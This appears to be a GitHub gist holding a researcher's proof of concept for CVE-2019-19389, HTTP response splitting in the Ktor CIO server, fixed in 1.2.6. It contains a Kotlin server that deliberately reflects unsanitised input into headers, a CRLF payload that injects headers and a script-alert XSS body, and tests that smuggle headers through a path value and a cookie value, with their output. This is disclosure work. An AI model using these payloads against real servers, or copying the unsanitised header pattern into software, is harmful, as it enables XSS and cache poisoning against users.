Skip to content

Instantly share code, notes, and snippets.

@JLLeitschuh
Last active October 23, 2020 08:29
Show Gist options
  • Save JLLeitschuh/6792947ed57d589b08c1cc8b666c7737 to your computer and use it in GitHub Desktop.
Save JLLeitschuh/6792947ed57d589b08c1cc8b666c7737 to your computer and use it in GitHub Desktop.
POC For: CVE-2019-19389

The Ktor Coroutine based I/O Server implementation io.ktor.client.engine.cio.CIO is vulnerable to HTTP Response Splitting.

Fixed Version

This vulnerability is fixed in Ktor version 1.2.6.

POC

The POC below shows a simple server that takes a user provided value and reflects that value back in a custom header. This POC demonstrates how an attacker could abuse this to supply their own response thus enabling a variety of other attack vectors, in this case allowing the attacker to perform XSS and leak potentially sensitive header values.

How could this be abused

If a user of the Ktor library is taking some user-provided input and that input is inserted into a header value, that can be abused to facilitate this attack.

Other Impacted Locations

It's also possible to abuse this vulnerability if accepting untrusted user data for the call.respondRedirect method.

Implications

See the CWE linked above for a more detailed explainations of these:

  • Cross-User Defacement
  • Cache Poisoning
  • Cross-Site Scripting (XSS)
  • Page Hijacking

Refrences

fun main() {
val thePort = 9000
val server = embeddedServer(CIO, port = thePort) {
routing {
get("/doWork") {
val headerToSet = call.request.queryParameters["header"].toString()
// Fancy printing to show what's going on here
println("Setting Header: ${headerToSet.replace("\n", "\\n").replace("\r", "\\r")}")
call.response.header("the-header", headerToSet)
call.respond("OK")
}
}
}
// The headers that will be sent by the attacker:
val attackerPayload = listOf(
"Content-Type: text/html",
"X-XSS-Protection: 0", // Disable the Chrome XSS Auditor (won't be around much longer anyways)
"", // Need an empty line to indicate the start of the body of the HTML content
"<script>alert(document.domain)</script>" // Cross site scripting payload
)
val payload = attackerPayload.joinToString("\r\n")
val query = "whatever\r\n$payload"
val builder = URLBuilder().apply {
path("doWork")
port = thePort
parameters["header"] = query
}
println("Open In browser: ${builder.buildString()}")
server.start(wait = true)
}
<script>alert(document.domain)</script>
Content-Length: 2
Content-Type: text/plain; charset=UTF-8
Connection: keep-alive
OK
@Test
fun smuggledHeaderTest() = clientTest(io.ktor.client.engine.cio.CIO) {
createAndStartServer {
get("/setHeader/{theHeader}") {
println("Responding")
val headerToSet = call.parameters["theHeader"].toString()
call.response.header("the-header", headerToSet)
call.respond("OK")
}
}
test { client ->
val customPath = URLEncoder.encode("my-header\r\nAnotherHeader:request-splitting")
println("Making request: $customPath")
client.get<HttpResponse>(path = "setHeader/$customPath", port = port) {
}.use { response ->
println()
println("Headers:")
response.headers.forEach { key, values ->
println("H: $key: ${values.joinToString(", ")}")
}
}
}
}
Making request: my-header%0D%0AAnotherHeader%3Arequest-splitting
Responding
Headers:
H: the-header: my-header
H: AnotherHeader: request-splitting <== Smuggled header
H: Content-Length: 2
H: Content-Type: text/plain; charset=UTF-8
@Test
fun smuggledCookiesTest() = clientTest(io.ktor.client.engine.cio.CIO) {
createAndStartServer {
get("/setCookie/{theCookie}") {
println("Responding")
val headerToSet = call.parameters["theCookie"].toString()
call.response.cookies.append("the-cookie", headerToSet, CookieEncoding.DQUOTES)
call.respond("OK")
}
}
test { client ->
val customPath = URLEncoder.encode("my-cookie\r\nAnotherHeader:request-splitting")
println("Making request: $customPath")
client.get<HttpResponse>(path = "setCookie/$customPath", port = port) {
}.use { response ->
println()
println("Cookies:")
response.setCookie().forEach { (key, value) ->
println("C: $key: ${value}")
}
println("Headers:")
response.headers.forEach { key, values ->
println("H: $key: ${values.joinToString(", ")}")
}
}
}
}
Making request: my-cookie%0D%0AAnotherHeader%3Arequest-splitting
Responding
Cookies:
C: the-cookie: "my-cookie
Headers:
H: Set-Cookie: the-cookie="my-cookie
H: AnotherHeader: request-splitting"; $x-enc=DQUOTES <== Smuggled header
H: Content-Length: 2
H: Content-Type: text/plain; charset=UTF-8
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment